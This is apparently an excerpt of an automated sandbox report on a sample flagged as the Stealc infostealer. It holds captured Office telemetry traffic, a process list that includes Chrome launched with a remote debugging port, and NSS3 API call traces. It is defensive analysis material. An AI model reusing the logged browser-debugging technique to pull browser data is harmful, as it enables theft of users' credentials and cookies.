54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:24 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:24 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:24 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 2adb5bf6-401e-0067-6309-2809c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045324Z-17c5cb586f626sn8grcgm1gf8000000008y000000000g9q2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:24 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:24 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:24 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:24 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: e20e9adc-401e-0083-18ae-26075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045324Z-16849878b78j7llf5vkyvvcehs0000000bqg000000003zg6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:24 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:24 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:25 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:24 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: e4f189f6-d01e-005a-18af-2a7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045324Z-159b85dff8f2qnk7hC1DFWwa2400000001600000000050vf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:25 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:25 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:25 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:25 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 897ec3ad-201e-005d-0167-27afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045325Z-16849878b78x6gn56mgecg60qc0000000cc00000000097dc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:25 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:25 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:25 UTC	518	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:25 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: 429baafa-f01e-0096-6d19-2c10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045325Z-17c5cb586f69p7mmw593w958p400000001w0000000005u2v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-01 04:53:25 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:25 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:25 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:25 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 8be2881b-101e-008d-3d2e-2792e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045325Z-15b8d89586fvpb59307bn2rcac00000005ug000000000h9s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:25 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:25 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:25 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:25 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 1d22590e-401e-0083-6460-2b075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045325Z-15b8d89586fvk4kmbg8pf84y880000000bc000000000e0g4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:25 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:25 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:25 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:25 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: 623250e5-d01e-00ad-1e9c-27e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045325Z-16849878b78tg5n42kspfr0x480000000af000000000mtqc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:25 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49903	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:25 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:26 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:26 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: 43bf0b86-d01e-0028-6e55-2b7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045326Z-17c5cb586f69p7mmw593w958p400000001w0000000005u34 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:26 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49904	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:26 UTC	192	OUT	GET /rules/rule700900v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:26 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:26 GMT Content-Type: text/xml Content-Length: 1371 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:06 GMT ETag: "0x8DC582BED3D048D" x-ms-request-id: dd8c585e-201e-00aa-5a0c-2c3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045326Z-17c5cb586f6l54tjt07kuq05pc00000001gg000000008y7z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 04:53:26 UTC	1371	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6f 66 69 6e 67 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700900" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProofing" S="Medium" /> <F

Target ID:	0
Start time:	00:51:59
Start date:	01/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x260000
File size:	2'154'496 bytes
MD5 hash:	806FDA7172E2FAF55675DD6F5DD76BB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2077275700.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1672546233.0000000004B90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2078554951.0000000000E4E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	00:52:10
Start date:	01/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:52:11
Start date:	01/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2420 --field-trial-handle=2120,i,11807956331036332796,14599083191770811504,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 6C656E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C7A2120,6C657E60), ref: 6C656EBC
TlsGetValue.KERNEL32 ref: 6C656EDF
EnterCriticalSection.KERNEL32(?), ref: 6C656EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6C656F25

Part of subcall function 6C62A900: TlsGetValue.KERNEL32(00000000,?,6C7A14E4,?,6C5C4DD9), ref: 6C62A90F
Part of subcall function 6C62A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C62A94F

PR_Unlock.NSS3 ref: 6C656F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6C656FA9
TlsGetValue.KERNEL32 ref: 6C6570B4
EnterCriticalSection.KERNEL32(?), ref: 6C6570C8
PR_CallOnce.NSS3(6C7A24C0,6C697590), ref: 6C657104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C657117
SECOID_Init.NSS3 ref: 6C657128
PORT_Alloc_Util.NSS3(00000057), ref: 6C65714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C65717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6571A9
PR_NotifyAllCondVar.NSS3 ref: 6C6571CF
